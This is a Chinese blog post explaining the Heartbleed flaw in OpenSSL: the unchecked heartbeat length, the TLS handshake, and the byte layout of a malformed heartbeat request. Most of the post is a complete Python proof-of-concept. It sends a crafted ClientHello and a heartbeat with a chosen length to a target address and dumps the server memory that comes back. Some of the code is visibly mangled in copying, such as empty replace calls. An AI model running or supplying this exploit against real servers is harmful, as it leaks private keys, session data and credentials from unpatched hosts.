心脏滴血HeartBleed漏洞研究及其POC
一、漏洞原理:
首先声明,我虽然能看懂C和C++的每一行代码,但是他们连在一起我就不知道什么鬼东西了。所以关于代码说理的部分只能参考其他大牛的博客了。
/*
据说源码中有下面两条语句,反正我也没看过源码。
*/
buffer = OPENSSL_malloc( + + payload + padding);
bp = buffer;
还是据说payload这个部分其实是length的值,以上如果都是对的话(事实上以上就是对的),那么在申请内存时候压根就没有检查大小好吗?这不就可以把后面的内存内容包含进来了嘛。
还是说回正题:
TLS/SSL协议简介:
过程:
1-》客户端发送包1:ClientHello
2《-服务器返回包1-2:ServerHello + [Certificate*、ServerKeyExchange*、CertificateRequest*] => ServerHelloDown
3-》客户端发送包2:[Certificate*、ClientKeyExchange*、CertificateVerify*、ChangeCipherSpec] =》Finished
4《-服务器返回包3:[ChangeCipherSpec] => Finished
5《--》双方交流数据
典型的v1.2正常场景

这是典型的攻击场景抓包v1.1漏洞版本

由此可见:在v1.1版本中进行在收到serverhello数据包之后发送精心构造的heartbeat包进行攻击
正常心跳包

攻击心跳包:

关键字节

修改这个地方,就以为这修改length。返回包heartbeat Response长度就会不一致。
也就是泄露了内存。
18-》content-type:heartbeat(24)
03 02 -》version
03-》Length
01 -》request
60 00 就是payload了 ,你要读取的长度(一般应该是20 00)
所以poc就可以如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*- import sys
import time
import chardet
import struct
import socket
import select def String_To_Binary(content):
return content.replace(' ','').replace('\n','').decode('hex') '''
报文结构参考:http://blog.csdn.net/qq_32400847/article/details/58332946
'''
HelloPacket = '''\
16030200dc010000 d803025343 5b 909d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 \
cc 16 0a 85 03 90 9f 77 04 33 d4de000066c014c00ac022c0210039003800880087c00fc00\
500350084c012c008c01cc01b00160013c00dc003000ac013c009c01fc01e00330032009a0099004\
50044c00ec004002f00960041c011c007c00cc002000500040015001200090014001100080006000\
300ff01000049000b000403000102000a00340032000e000d0019000b000c00180009000a0016001\
7000800060007001400150004000500120013000100020003000f001000110023 00 00000f 00 0\
1 01\
''' def HexDump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print def RecvAll(socketobj, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
read, wait, error = select.select([socketobj], [], [], 5)
print 'read: ', read
if socketobj in read:
data = socketobj.recv(remain)
if not data:
return None
rdata += data
remain -= len(data)
HexDump(rdata)
return rdata def RecvMsg(socketobj):
hdr = RecvAll(socketobj, 5)
if hdr is None:
return None, None, None
type, version, length = struct.unpack('>BHH', hdr)
payload = RecvAll(socketobj, length, 10)
if payload is None:
return None, None, None
return type, version, payload def Hit_Hb(socketobj, target):
# global target
socketobj.send(String_To_Binary(KeyPacket))
while True:
print "[+] receive data..."
type, version, payload = RecvMsg(socketobj)
if type is None:
print "[-] %s |NOTVULNERABLE" % target
return False # TLSv1.1 Record Layer: EncryptedHeartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if type == 24:
if len(payload) > 3:
print "[*] %s |VULNERABLE" % target
else:
print "[-] %s |NOTVULNERABLE" % target
return True if type == 21:
print "[-] %s |NOTVULNERABLE" % target
return False def Do_openSSL_Test(target, port):
socketobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socketobj.connect((target, port))
socketobj.send(String_To_Binary(HelloPacket)) while True:
type, version, payload = RecvMsg(socketobj)
if type == None:
return
if type == 22 and ord(payload[0]) == 0x0E:
break
# sys.stdout.flush()
print "[+] send payload: %s" % KeyPacket
socketobj.send(String_To_Binary(KeyPacket)) # Malformed Packet
return Hit_Hb(socketobj, target) # ------------- ********* if __name__ == '__main__':
ip = sys.argv[1]
port = sys.argv[2]
size = sys.argv[3]
KeyPacket = "180302000301%s000"%size
HelloPacket = str(HelloPacket).replace("","").replace("\n","")
KeyPacket = KeyPacket.replace("","").replace("\n","")
Do_openSSL_Test(ip,int(port))
报文结构部分如下参考http://blog.csdn.net/qq_32400847/article/details/58332946(特此鸣谢)
"""
HelloPacket = [
# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
"16" # Content Type: Handshake (22)
"0302" # Version: TLS 1.1 (0x0302)
"00dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"0000 d8" # Length (216)
"0302" # Version: TLS 1.1 (0x0302)
# Random
"5343 5b 90" # gmt_unix_time
"9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes
"00" # Session ID Length: 0
"0066" # Cipher Suite Length: 102
# Cipher Suites
"c014"
"c00a"
"c022"
"c021"
"0039"
"0038"
"0088"
"0087"
"c00f"
"c005"
"0035"
"0084"
"c012"
"c008"
"c01c"
"c01b"
"0016"
"0013"
"c00d"
"c003"
"000a"
"c013"
"c009"
"c01f"
"c01e"
"0033"
"0032"
"009a"
"0099"
"0045"
"0044"
"c00e"
"c004"
"002f"
"0096"
"0041"
"c011"
"c007"
"c00c"
"c002"
"0005"
"0004"
"0015"
"0012"
"0009"
"0014"
"0011"
"0008"
"0006"
"0003"
"00ff"
"01" # Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"0049" # Extension Length: 73
"000b" # Type: ec_point_formats
"0004" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format:ansix962_compressed_prime
"02" # EC point format:ansix962_compressed_char2
# Extension: elliptic_curves
"000a"
"0034"
"0032"
"000e"
"000d"
"0019"
"000b"
"000c"
"0018"
"0009"
"000a"
"0016"
"0017"
"0008"
"0006"
"0007"
"0014"
"0015"
"0004"
"0005"
"0012"
"0013"
"0001"
"0002"
"0003"
"000f"
"0010"
"0011"
"0023 00 00" # Extension:SeesionTicket TLS
"000f 00 01 01" # Extension:Heartbeat
] # ---------TLSv1---[Heartbeat Request]------------
KeyPacket = [
# TLSv1.1 Record Layer: HeartbeatRequest
"18" # Content Type: Heartbeat (24) ----(0x18)
"0302" # Version: TLS 1.1 (0x0302)
"0003" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"2000" # Payload Length: (16384) (0x4000)
]
"""
心脏滴血HeartBleed漏洞研究及其POC的更多相关文章
- heartbleed漏洞利用
1. heartbleed漏洞扫描: 2. heartbleed漏洞利用: poc.py 117.52.93.111 貌似没有打到管理员账号密码,可能是管理员没登录,其实,可以写一个自动 ...
- OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把. 单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有: 1. Nmap脚本ssl-heartblee ...
- OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例
转自:http://www.lijiejie.com/openssl-heartbleed-attack/ OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一 ...
- OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解
OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read ...
- 心脏滴血漏洞复现(CVE-2014-0160)
心脏滴血漏洞简述 2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartB ...
- OpenSSL “心脏滴血”漏洞
OpenSSL "心脏滴血"漏洞 漏洞描述 : OpenSSL软件存在"心脏出血"漏洞,该漏洞使攻击者能够从内存中读取多达64 KB的数据,造成信息泄露. 漏洞 ...
- 心脏滴血漏洞复现(CVE-2014-0160)
漏洞范围: OpenSSL 1.0.1版本 漏洞成因: Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进 行边界检查.攻击者可以追踪OpenSSL所分配的 ...
- 心脏滴血(CVE-2014-0160)检测与防御
用Nmap检测 nmap -sV --script=ssl-heartbleed [your ip] -p 443 有心脏滴血漏洞的报告: ➜ ~ nmap -sV --script=ssl-hear ...
- 这次OpenSSL HeartBleed漏洞是怎么一回事呢?
“心脏出血”(Heartbleed)被称为互联网史上最严重的安全漏洞之一,波及了大量常用网站.服务,包括很多人每天都在用的 Gmail 等等,可能导致用户的密码.信用卡轻易泄露.但是我们可能对它还不是 ...
随机推荐
- 透明遮罩图层VS高斯模糊滤镜 效果分析
前端流行布局中最常见的弹出图层有popup, 对话框, tooltip等, 他们都使用了新的图层,但是实现办法各不相同, 有 的是通过半通明的黑白图层实现的, 有的是通过滤镜实现的, 我们来研究一下两 ...
- HTML坦克大战学习02---坦克动起来
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <t ...
- 竟然没有转载。。。A Few of My Favorite HTML5 and CSS3 Online Tools
HTML5 Boilerplate HTML5 Boilerplate provides a great way to get started building HTML5 sites. It inc ...
- TensorFlow基础笔记(9) Tensorboard可视化显示以及查看pb meta模型文件的方法
参考: http://blog.csdn.net/l18930738887/article/details/55000008 http://www.jianshu.com/p/19bb60b52dad ...
- Android startActivityForResult 回传数据
一个activity打开新的activity,新的activity关闭之后,返回数据.原来的activity要接收返回的数据,在开启新的activity时,就需要调用startActivityForR ...
- Golang - OSX配置VIM下的Golang开发环境 (MacOS为例)
测试环境 MacOS 10.12.6 首先安装VIM brew install vim 我已经安装了 Vim 8.0版本 然后安装 Vundle ,这是一个vim包管理器 git clone http ...
- [转]查看处于被锁状态的表:v$locked_object dba_objects v$session all_objects v$sqlarea v$lock
oracle官网当一个用户发出select..for update的错作准备对返回的结果集进行修改时,如果结果集已经被另一个会话锁定,就是发生阻塞.需要等另一个会话结束之后才可继续执行.可以通过发出 ...
- Http Digest认证协议
转自:http://blog.csdn.net/htjoy1202/article/details/7067287 其认证的基本框架为挑战认证的结构,如下图所示: 1.客户端希望取到服务器上的某个资源 ...
- 简易2D横版RPG游戏制作
Unity学习笔记1 简易2D横版RPG游戏制作 http://m.blog.csdn.net/article/details?id=24601905
- 提高Web性能的前端优化技巧总结